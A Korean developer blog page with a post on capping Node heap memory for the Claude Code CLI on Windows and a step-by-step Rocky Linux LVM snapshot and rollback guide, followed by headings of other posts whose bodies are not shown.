메모리 절약(이라기보다는 강제 제한)을 통해 컴퓨터를 오래 사용해보자.

내가 본체가 맞는걸까 클로드가 본체는 아닐까?

개발 환경 : Windows 11
대상 AI Tool : CLAUDE CODE

Wrapper Script 방식 (가장 안전한 방법)

가장 추천되는 방식은 wrapper script를 사용하는 것이다.
즉 claude 실행 전에 Node 메모리 제한 옵션을 설정하는 작은 실행 스크립트를 만드는 방법이다.

wrapper script 생성

claude.cmd 파일을 만든다.

@echo off
set NODE_OPTIONS=--max-old-space-size=1024
claude %*

설명

NODE_OPTIONS : Node 실행 옵션
--max-old-space-size : 최대 heap 메모리 (MB)
%* : CLI 인자 전달

위 예시는 최대 1GB 메모리 제한을 의미한다.

PATH에 등록

이 파일을 다음 위치 중 하나에 둔다.

예

C:\Users\<username>\bin

또는

C:\Users\<username>\AppData\Roaming\npm

그 후 PATH에 포함되도록 설정하면

claude

입력 시

claude.cmd → 실제 claude 실행

순서로 동작하면서 자동으로 메모리 제한이 적용된다.

장점

특정 프로그램에만 적용
CMD 전체 동작을 변경하지 않음
문제 발생 시 파일 삭제만 하면 복구 가능

그래서 대부분 개발 환경에서는 이 방식을 가장 많이 사용한다.

AutoRun 방식

Windows CMD에는 AutoRun 기능이 있다.

레지스트리 위치

HKCU\Software\Microsoft\CommandProcessor

여기 AutoRun 값을 설정하면 CMD 실행 시 자동으로 명령이 실행된다.

예

doskey claude=set NODE_OPTIONS=--max-old-space-size=1024 ^& claude $*

동작

claude
↓
NODE_OPTIONS 설정
↓
claude 실행

장점

별도 스크립트 없이 설정 가능
모든 CMD 세션에서 자동 적용

주의

설정 이후 활성화된 모든 CMD 전체 실행 시 설정이 적용됨

그래서 AutoRun 방식은 간단하지만 권장되는 방법은 아니다.

[Linux] LVM 기반 전체 시스템 스냅샷 방법

BI3A — Fri, 20 Mar 2026 13:49:24 +0900

Linux OS 의 전체 시스템 Snapshot(LVM) 생성 방법

회사에서 신규 솔루션 설치 테스트를 진행하며 안전한 설치 작업을 위해
스냅샷 방법을 알아보며 정리한 글이다.

Snapshot

서버에서 새로운 소프트웨어를 설치하거나 시스템 구성을 변경할 때 가장 안전한 방법 중 하나는
작업 이전 상태로 되돌릴 수 있는 스냅샷을 미리 생성하는 것이다.

특히 패키지 설치나 데이터베이스 설치 작업은 시스템 파일과 설정 파일을 동시에 변경할 수 있기 때문에,
문제가 발생하면 복구가 까다로워질 수 있다.

작업 환경: Rocky Linux 8 + Logical Volume Manager

Snapshot을 사용하는 이유

서버에서 새로운 소프트웨어를 설치할 때는 다음과 같은 위험이 존재한다.

패키지 의존성 충돌
설정 파일 변경
서비스 포트 충돌
데이터 디렉토리 생성 문제

예를 들어 다음과 같은 작업을 수행한다고 가정한다.

데이터베이스 설치
패키지 업데이트
서비스 설정 변경

이 과정에서 문제가 발생하면 기존 환경으로 되돌리는 것이 매우 어렵다.

그래서 작업 전에 다음과 같은 전략을 사용한다.

현재 상태 snapshot 생성
→ 설치 작업 진행
→ 문제 발생 시 snapshot 기준으로 복구

이 방식은 point-in-time 복구 전략이라고도 한다.

Linux Snapshot 생성 전제 조건

리눅스에서 snapshot 기능을 사용하려면 다음이 필요하다.

LVM 기반 스토리지 구조
snapshot을 저장할 여유 공간
snapshot 대상 Logical Volume 확인

LVM은 물리 디스크를 논리적으로 묶어 관리하는 기능으로 다음과 같은 구조를 가진다.

Physical Disk
   ↓
Physical Volume (PV)
   ↓
Volume Group (VG)
   ↓
Logical Volume (LV)
   ↓
Filesystem Mount

LVM snapshot은 Logical Volume 단위로 생성된다.

Snapshot 생성 절차 및 롤백 방법

가용 시스템 용량 확인

먼저 스냅샷을 저장할 논리적 볼륨의 용량을 체크한다.

파일 시스템 확인

vgs

예시 결과

VG   #PV #LV #SN Attr   VSize   VFree
rl     2   4   0 wz--n- 1.16T   0.16T

VFree = 0이면 snapshot 생성이 불가능하다.

디스크 구조 확인

lsblk

예시

NAME        TYPE MOUNTPOINT
sda         disk
├─sda1      part /boot/efi
├─sda2      part /boot
└─sda3      part
  ├─rl-root lvm  /
  ├─rl-swap lvm  [SWAP]
  └─rl-u01  lvm  /u01
sdb         disk
└─sdb1      part
  ├─rl-home lvm  /home
  └─rl-u01  lvm  /u01

여기서 확인해야 하는 포인트는 3가지이다.

Type = lvm인 경우, LVM 스냅샷 대상이 된다.
- 반대로, Type = disk나 part인 경우, LVM 스냅샷 대상이 아니다.
MOUNTPOINT 컬럼에 표시되는 경로는 파일이 실제 저장되는 경로를 의미한다.
- 즉, 상기 예제에서는 snapshot 대상이 rl-root의 /, rl-home의 /home, rl-u01의 /u01이 된다.
[swap]으로 표시된 것은 스냅샷 대상이 아니다. (추후 설명)

마운트된 파일시스템 확인

df -hT

예시

Filesystem       Type  Mounted on
/dev/rl/root     xfs   /
/dev/rl/home     xfs   /home
/dev/rl/u01      xfs   /u01

이 경우 snapshot 대상은 다음과 같다.

/
/home
/u01

Logical Volume 확인

lvs

예시

LV    VG   LSize
root  rl   200G
home  rl   200G
swap  rl   11G
u01   rl   751G

VG : 볼륨 그룹
LSize : 볼륨 크기

실제로 스냅샷할 대상들의 볼륨명과 물리적으로 디스크 내의 대상별 할당된 볼륨 크기를 파악한다.

(참고) swap이 스냅샷에서 제외되는 이유?

snapshot 대상에서 swap을 제외하는 이유는 다음과 같다.

swap은 휘발성 데이터이다.

swap 영역은 메모리 페이지, 캐시 데이터, 임시 프로세스 정보등이 담긴다.

시스팀 재부팅 시 자동으로 초기화되는 영역이기 때문에, 스냅샷을 뜰 필요가 없다.

Snapshot 생성 전 filesystem write 중지

파일시스템 snapshot을 생성할 때는 일관된 상태를 유지하기 위해 write 작업을 잠시 중지한다.

이를 위해 다음 명령을 사용한다.

fsfreeze

freeze 상태에서는

read  → 가능
write → 대기

freeze 명령

fsfreeze -f /
fsfreeze -f /home
fsfreeze -f /u01

LVM Snapshot 생성

write를 중지한 상태에서 snapshot을 생성한다.

lvcreate -L 20G -s -n root_snapshot /dev/rl/root
lvcreate -L 20G -s -n home_snapshot /dev/rl/home
lvcreate -L 80G -s -n u01_snapshot /dev/rl/u01

옵션 설명

-L  snapshot metadata 공간
-s  snapshot 생성
-n  snapshot 이름

snapshot에서 각 볼륨 레벨의 메타데이터를 공간을 잡는 기준

[snapshot의 원리]
해당 시점의 볼륨의 모든 데이터를 저장하는 것이 아니다.
스냅샷 시점을 기준으로, 이후 변경되는 볼륨 레벨 내의 모든 데이터를 스냅샷 내에 쌓아나간다.
그래서 스냅샷 기준으로 롤백을 진행하는 경우,
해당 스냅샷에 쌓인 메타데이터를 기반으로 변경 이전으로 돌아갈 수 있게 한다.

따라서 메타데이터를 잡을 때는,
기존 볼륨 레벨의 메모리 할당 공간 크기를 기준으로 판단할 것이 아닌
가장 많이 변경이 일어나는 볼륨에 비중을 두고 가변적으로 판단하면 된다.

filesystem write 재개

snapshot 생성이 끝나면 write를 다시 활성화한다.

fsfreeze -u /
fsfreeze -u /home
fsfreeze -u /u01

이제 시스템은 정상적으로 동작한다.

Snapshot 생성 확인

lvs

예시

LV               Attr
root             -wi-ao----
root_snapshot    swi-a-s---
home             -wi-ao----
home_snapshot    swi-a-s---
u01              -wi-ao----
u01_snapshot     swi-a-s---

swi-a-s는 snapshot Logical Volume을 의미한다.

장애 발생 시 Snapshot Rollback

설치 작업 이후 문제가 발생하면 snapshot 기준으로 복구할 수 있다.

snapshot merge

lvconvert --merge /dev/rl/root_snapshot
lvconvert --merge /dev/rl/home_snapshot
lvconvert --merge /dev/rl/u01_snapshot

재부팅

reboot

복구 후 시스템은 snapshot 시점 상태로 돌아간다.

BIBA DEV

[Tomcat] 버전 업그레이드 과정에서의 트러블슈팅 회고

환경

문제 1. MyBatis typeHandler 패키지 스캔 오류

증상

원인

해결

대안

문제 2. stdout 로그 인코딩 깨짐

증상

원인

해결

참고. Windows vs Linux Tomcat 로그 구조 차이

Linux (startup.sh)

Windows 서비스 (Procrun)

Windows startup.bat

요약

[개발 방법론] DTO와 팩토리 패턴

DTO (Data Transfer Object)

Java record 로 DTO 만들기

생성자 직접 호출의 한계

정적 팩토리 메서드로 해결하기

팩토리 메서드 명명 규칙

(참고)@JsonInclude(NON_NULL) 과의 연결

추가 예시

단순 래핑 — 확장을 고려한 팩토리

record + 정적 팩토리 조합

[Spring] 포트-어댑터 패턴 이해와 적용 사례

포트-어댑터 패턴이란?

비즈니스 로직과 외부 기술 연계의 영역이 혼재되어 있는 사례

개선 방법: 포트와 어댑터

어댑터 선택 (Spring 의존성 주입)

Spring 포트-어댑터 패턴 적용 사례

Publisher(포트) 인터페이스 정의

서비스의 비즈니스 로직

어댑터 구현 (SSE 전송방식 적용)

어댑터 선택 (Spring 의존성 주입)

Access Token, Refresh Token의 개념과 저장 & 전송 방식

Access Token, Refresh Token 저장 & 전송 개발 및 리팩토링

Access Token과 Refresh Token

기본 인증 흐름

Phase 1 — localStorage에 두 토큰을 모두 저장

Phase 2 — Refresh Token을 HttpOnly 쿠키로 전환

Phase 3 — Refresh Token 저장소를 PostgreSQL에서 Redis로 전환

Phase 4 — Access Token을 프론트엔드 메모리(tokenStore)로 전환

Phase 5 — 로그아웃 시 Access Token을 Redis 블랙리스트에 등록

저장 방식별 비교 및 최종 선택 정리

코딩 테스트 해결 방법론 플로우차트

상세 설명

BFS (너비 우선 탐색)

다익스트라

DFS / 백트래킹

이분탐색

그리디

DP - 냅색 (Knapsack)

DP - LIS (최장 증가 부분 수열)

DP - LCS (최장 공통 부분 수열)

DP - 구간 DP

CLAUDE CODE CHEAT SHEET (단축키, 명령어, 파일 구조 정리)

키보드 단축키

일반 제어

작업 제어

모드 전환

입력 제어

접두사

명령어

MCP 서버 관리

Elicitation Servers

세션 관련

설정 관련

도구 관련

특수 명령

스킬 및 에이전트

메모리 및 파일 구조

CLAUDE.md

규칙 및 임포트

자동 메모리

설정 파일

상태 및 인증

커스텀 스킬

Linux (`startup.sh`)

Windows `startup.bat`

Java `record` 로 DTO 만들기

(참고)`@JsonInclude(NON_NULL)` 과의 연결

`record` + 정적 팩토리 조합